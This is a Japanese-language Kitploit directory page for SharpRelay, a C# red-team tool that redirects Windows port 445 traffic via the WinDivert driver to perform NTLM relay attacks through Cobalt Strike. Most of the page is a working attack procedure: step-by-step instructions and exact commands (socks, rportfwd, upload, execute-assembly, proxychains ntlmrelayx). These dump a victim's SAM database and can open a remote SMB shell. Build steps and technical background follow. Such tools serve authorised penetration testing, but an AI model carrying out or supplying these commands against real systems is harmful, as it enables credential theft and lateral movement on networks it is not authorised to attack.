Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SharpRelay — WinDivertドライバを利用してWindowsのポート445トラフィックをインターセプトし、Cobalt Strike経由でNTLMリレー攻撃にリダイレクトするC#ツール。レッドチーム運用における横方向の移動と認証情報の収集を可能にします。 | Kitploit
ツール/GitHubGitHub/pkb1s/sharprelay
パケットスニッフィングと分析横移動ペネトレーションテストレッドチーミング
GitHubpkb1s/sharprelay

SharpRelay

WinDivertドライバを利用してWindowsのポート445トラフィックをインターセプトし、Cobalt Strike経由でNTLMリレー攻撃にリダイレクトするC#ツール。レッドチーム運用における横方向の移動と認証情報の収集を可能にします。

リポジトリを見る
179215年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

使用方法

この攻撃を機能させるための唯一の要件は、ローカル管理者権限を持つビーコン、またはドライバをロードできるビーコンを持つことです。SharpRelayを使用した攻撃は以下のように動作します:

  • 署名済みのWinDivertドライバを侵害されたホストの任意のフォルダにアップロードします。
  • SharpRelayを実行して、ポート445に着信するパケットの宛先ポートを変更し、別のポート(例:8445)にリダイレクトします。
  • ビーコンからCobalt Strikeのrportfwdコマンドを実行して、侵害されたホストのポート8445を自チームサーバーのポート445に転送します。
  • socksサーバーを起動して、リレーされたトラフィックを被害者ネットワークに戻します。
  • proxychainsを使用してImpacketのntlmrelayxを実行し、SMBリレーを行います。
  • 被害者が侵害されたホストのポート445にアクセスしようとすると、NTLM認証が自チームサーバーに転送され、別のマシンにリレーされます。

以下のコマンド例をCobalt Strikeから実行して、これらのアクションを実行できます:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

上記がすべて正常に実行されたら、リレーサーバーを起動する必要があります(proxychainsを上記のコマンドで指定したポート(例:4444)に設定します):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

上記のコマンドは、被害者ホストからSAMデータベースをダンプします。また、対話型SMBシェルを取得したり、被害者上でリモートでコマンドを実行したりすることも可能です。

SharpRelayはWin10 x64でテスト済みです。

ビルド手順

ソースからツールをビルドしたい場合は、以下の手順を実行します:

  • リポジトリをクローンします。
  • Visual Studioでプロジェクト->NuGetパッケージの管理を開き、インストール済みタブにすべてのNuGetパッケージが表示されることを確認します。
  • プロジェクトをビルドします。

上記の手順はVisual Studio 2019を使用してテストされています。

技術詳細

SharpRelayはWinDivertドライバに基づいています。その説明によると、WinDivertはユーザーモードでのパケット傍受と修正を可能にするカーネルドライバです。ユーザーはフィルタを指定する必要があり、このフィルタに一致するパケットは傍受され、修正可能になります。

ReadMeファイルより:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

私たちにとって、WinDivertが可能にする最も重要なことは、開いているWindowsポートに向かうトラフィックを傍受し、各パケットのTCP送信元ポートと宛先ポートを変更し、TCPチェックサムを再計算してパケットをネットワークスタックに再注入することで、別のポートにリダイレクトできることです。

Windowsでは、ポート445はデフォルトで常に実行されています。ポート445を使用するプロセスの詳細については、以下の投稿ですでに分析されているため、ここでは詳しく説明しません。ぜひお読みください:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

上記の投稿には、もう一つ興味深いアイデアが含まれています。WinDivertを使用してMetasploit経由でSMBリレー攻撃を実行する方法です。divertTCPconn.exeといくつかのDLLとドライバファイルをターゲットホストにアップロードして実行します。この攻撃は素晴らしいと思いましたが、気に入らなかったのは、ターゲットホストに複数のDLLをアップロードしなければならなかったことです。

そこで、私の目標は、ディスク上に最小限のファイルだけを配置し、かつCobalt Strikeを通じて攻撃を実行することでした。

まず第一に、Cobalt Strikeのexecute-assembly機能を利用したかったので、.NETフレームワークを使用してコードを書くことにしました。最初はdivertTCPconnをC#で書き直せばすべてうまくいくと考えましたが、これが非常に複雑であることが判明しました。幸いなことに、TechnikEmpireによって書かれた次のNuGetパッケージを見つけました:

  • https://github.com/TechnikEmpire/WinDivertSharp

WinDivertSharpを使用して、サービスを作成してドライバをロードし、WinDivertドライバと通信して必要なパケット修正を実行するSharpRelayを書くことができました。

ツールをダウンロード